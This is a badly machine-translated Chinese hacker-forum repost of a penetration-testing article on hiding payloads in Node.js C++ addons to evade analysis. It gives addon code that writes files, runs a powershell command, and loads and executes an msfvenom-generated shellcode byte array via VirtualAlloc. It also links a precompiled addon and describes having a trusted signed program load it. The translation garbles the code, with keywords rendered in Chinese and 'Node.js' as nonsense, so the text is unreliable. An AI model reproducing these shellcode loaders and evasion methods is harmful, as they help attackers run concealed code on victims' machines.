跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透测试中的Node.js——利用C插件隐藏真实代码


剑道尘心

推荐的帖子

0x00 前言

在之前的文章《渗透测试中的Node.js——Downloader的实现》 开源了一个使用节点。射流研究…实现下载器的代码,简要分析在渗透测试中的利用思路。

节点。射流研究…的语法简单易懂,所以节点。射流研究…代码也很容易被分析。

为了增加节点。射流研究…代码被分析的难度,我的思路是利用节点。射流研究…的一个功能,将有效载荷以C插件的形式进行封装。

这样不但能够增加节点。射流研究…代码被分析的难度,而且可以用C代码来实现有效载荷,已有的C代码经过简单的修改即可使用,减小二次开发的成本。

0x01 简介

本文将要介绍以下内容:

C插件简介

搭建C插件的开发环境

C插件代码实例

利用思路

防御建议

0x02 C++插件简介

Node.js C插件是用C编写的动态链接库,可以使用需要()函数加载到节点。射流研究…中。利用V8提供的API,可以实现Java脚本语言和C的互相调用,打通Java脚本语言和C之间的接口。

官方文档:

https://nodejs.org/api/addons.html

使用实例:

编译成功一个C插件,导出方法为:你好

使用节点。射流研究…调用C插件导出方法的代码如下:

const addon=require(' ./addon。节点’);

阿登。hello();

执行代码

node.exe考试网

0x03 搭建C++插件的开发环境

1、Windows开发环境

测试系统:Win7sp1 x64

需要安装以下工具:网框架4.5.1或更高版本

Python 2.7

Visual Studio 2015或更高版本

具体搭建流程如下:

1.安装100 .净框架4.5.1

https://www.microsoft.com/en-US/download/details.aspx?id=5842

2.下载节点。射流研究…

https://nodejs.org/en/download/

3.使用windows-构建-工具自动安装依赖工具

https://github.com/felixrieseberg/windows-build-tools

cd c:\

powershell

npm安装-全局windows-构建-工具

如果安装失败,可选择手动安装以下工具:

Python 2.7

Visual Studio 2015或更高版本

4.安装节点-吉普

https://github.com/nodejs/node-gyp

npm安装-g节点-吉普

2、Linux开发环境

wget https://nodejs。org/dist/v 10。15 .3/节点v 10。15 .3-Linux-x64。焦油。xz

tar xf节点-v 10。15 .3-Linux-x64。焦油。xz

激光唱片节点-版本10.15.3-linux-x64

激光唱片盒

导出路径=/root/node-v 10。15 .3-Linux-x64/bin:$ PATH。/npm install -g节点-吉普

注:

需要添加环境变量指定结节的位置(导出路径=/root/node-v 10。15 .3-Linux-x64/bin:$ PATH),否则在执行npm安装会失败,提示/usr/bin/env:"node ":没有这样的文件或目录

实例演示:

hello.cc:

#包括

命名空间演示{

使用V8:FunctionCallbackInfo;

使用V8:隔离;

使用V8:本地;

使用V8:新的字符串类型;

使用V8:Object;

使用V8:String;

使用V8:值;

空的方法(const FunctionCallbackInfo参数){

Isolate* isolate=args .GetIsolate();

参数GetReturnValue().Set(String:NewFromUtf8(

isolate,' world ',NewStringType:kNormal).ToLocalChecked());

}

空的初始化(本地导出){

节点集方法(导出,'你好',方法);

}

节点模块(节点骗子模块名称,初始化)

} //名称空间演示

binding.gyp

{

目标':[

{

target_name': 'addon ',

sources': [ 'hello.cc' ]

}

]

}

通过节点-吉普编译,生成插件

节点-吉普配置

节点-吉普构建

注:

可以合并成一条命令:

节点-吉普配置构建

节点。射流研究…支持交叉编译,具体参数说明可参考:

https://www.npmjs.com/package/node-pre-gyp

Linux操作系统操作系统系统下生成Windows64位系统下使用的插件命令如下:

节点-gyp配置build-target _ arch=x64-target _ platform=win32

0x04 C++插件代码实例

在开发时,最好避免出现如果这种的条件判断语句,直接使用会导致编译错误

1. 释放文件

#包括

#包括

命名空间演示{

使用V8:FunctionCallbackInfo;

使用V8:隔离;

使用V8:本地;

使用V8:Object;

使用V8:String;

使用V8:值;

空的方法(const FunctionCallbackInfo参数){

文件* fp

fopen_s(fp,' new.txt ',' ab ');

char * buf=' 123456

fwrite(buf,strlen(buf),1,FP);

fseek(fp,0,SEEK _ END);

fclose(FP);

}

无效初始化(本地导出){

节点集方法(导出,'你好',方法);

}

节点模块(节点骗子模块名称,初始化)

}

2. 执行命令:

#包括

命名空间演示{

使用V8:FunctionCallbackInfo;

使用V8:隔离;

使用V8:本地;

使用V8:Object;

使用V8:String;

使用V8:值;

空的方法(const FunctionCallbackInfo参数){

系统(' powershell开始计算。exe’);

}

无效初始化(本地导出){

节点集方法(导出,'你好',方法);

}

节点模块(节点骗子模块名称,初始化)

}

3.执行shellcode

生成外壳代码:

MSF venom-p windows/x64/exec CMD=calc。可执行文件

加载外壳代码并执行:

#包括

#包括

命名空间演示{

使用V8:FunctionCallbackInfo;

使用V8:隔离;

使用V8:本地;

使用V8:Object;

使用V8:String;

使用V8:值;

空的方法(const FunctionCallbackInfo参数){

无符号字符外壳代码[]=' \ xfc \ x48 \ x83 \ xe4 \ xf0 \ xe8 \ xc0 \ x00 \ x00 \ x00 \ x41 \ x51 \ x41 \ x50 \ x52 '

\ x51 \ x56 \ x48 \ x31 \ xd2 \ x65 \ x48 \ x8b \ x52 \ X60 \ x48 \ x8b \ x52 \ x18 \ x48 '

\ x8b \ x52 \ x20 \ x48 \ x8b \ x72 \ x50 \ x48 \ x0f \ xb7 \ x4a \ x4a \ x4d \ x31 \ xc9 '

\ x48 \ x31 \ xc0 \ xac \ x3c \ x61 \ x7c \ x02 \ x2c \ x20 \ x41 \ xc1 \ xc9 \ x0d \ x41 '

\ x01 \ xc1 \ xe2 \ xed \ x52 \ x41 \ x51 \ x48 \ x8b \ x52 \ x20 \ x8b \ x42 \ x3c \ x48 '

\ x01 \ xd0 \ x8b \ X80 \ x88 \ x00 \ x00 \ x48 \ x85 \ xc0 \ x74 \ x67 \ x48 \ x01 '

\ xd0 \ x50 \ x8b \ x48 \ x18 \ x44 \ x8b \ x40 \ x20 \ x49 \ x01 \ xd0 \ xe3 \ x56 \ x48 '

\ xff \ xc9 \ x41 \ x8b \ x34 \ x88 \ x48 \ x01 \ xd6 \ x4d \ x31 \ xc9 \ x48 \ x31 \ xc0 '

' xac \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75 \ xf1 \ x4c \ x03 \ x4c '

\ x24 \ x08 \ x45 \ x39 \ xd1 \ x75 \ xd8 \ x58 \ x44 \ x8b \ x40 \ x24 \ x49 \ x01 \ xd0 '

\ x66 \ x41 \ x8b \ x0c \ x48 \ x44 \ x8b \ x40 \ x1c \ x49 \ x01 \ xd0 \ x41 \ x8b \ x04 '

\ x88 \ x48 \ x01 \ xd0 \ x41 \ x58 \ x41 \ x58 \ x5e \ x59 \ x5a \ x41 \ x58 \ x41 \ x59 '

\ x41 \ x5a \ x48 \ x83 \ xec \ x20 \ x41 \ x52 \ xff \ xe0 \ x58 \ x41 \ x59 \ x5a \ x48 '

\ x8b \ x12 \ xe9 \ x57 \ xff \ xff \ x5d \ x48 \ xba \ x01 \ x00 \ x00 \ x00 \ x00 '

\ x00 \ x00 \ x00 \ x48 \ x8d \ x8d \ x01 \ x00 \ x00 \ x41 \ xba \ x31 \ x8b \ x6f '

\ x87 \ xff \ xd5 \ xbb \ xf0 \ xb5 \ xa2 \ x56 \ x41 \ xba \ xa6 \ x95 \ xbd \ x9d \ xff '

\ xd5 \ x48 \ x83 \ xc4 \ x28 \ x3c \ x06 \ x7c \ x0a \ X80 \ xfb \ xe0 \ x75 \ x05 \ xbb '

\ x47 \ x13 \ x72 \ x6f \ x6a \ x00 \ x59 \ x41 \ x89 \ xda \ xff \ xd5 \ x63 \ x61 \ x6c '

\ x63 \ x2e \ x65 \ x78 \ x65 \ x00 ';

void *sc=VirtualAlloc(0,sizeof(外壳代码),MEM _保留MEM提交,页面_执行_读写);

memcpy(sc,shellcode,sizeof(shellcode));

(*(int(*)))sc)();

}

无效初始化(本地导出){

节点集方法(导出,'你好',方法);

}

节点模块(节点骗子模块名称,初始化)

}

编译好的插件已上传至github,地址如下:

https://github.com/3gstudent/test/raw/master/addon.node

以上插件代码的导出方法均为你好,调用方式如下:

const addon=require(' ./addon。节点’);

阿登。hello();

0x05 利用思路

1、被第三方可信程序加载

参考:

https://bbs.pediy.com/thread-249573.htm

t.exe-node.exe-main.js

主页。射流研究…与阿登。节点放在同级目录,main.js的内容如下:

const addon=require(' ./addon。节点’);

阿登。hello();

阿登。节点的格式为动态链接库文件,无法直接获得有效载荷,增加静态分析的成本

0x06 防御建议

对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截,取消对该证书的信任

0x07 小结

本文介绍了节点。射流研究…中C插件的用法,可以用来增加节点。射流研究…代码被分析的难度,最后分享了三个有效载荷的写法。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...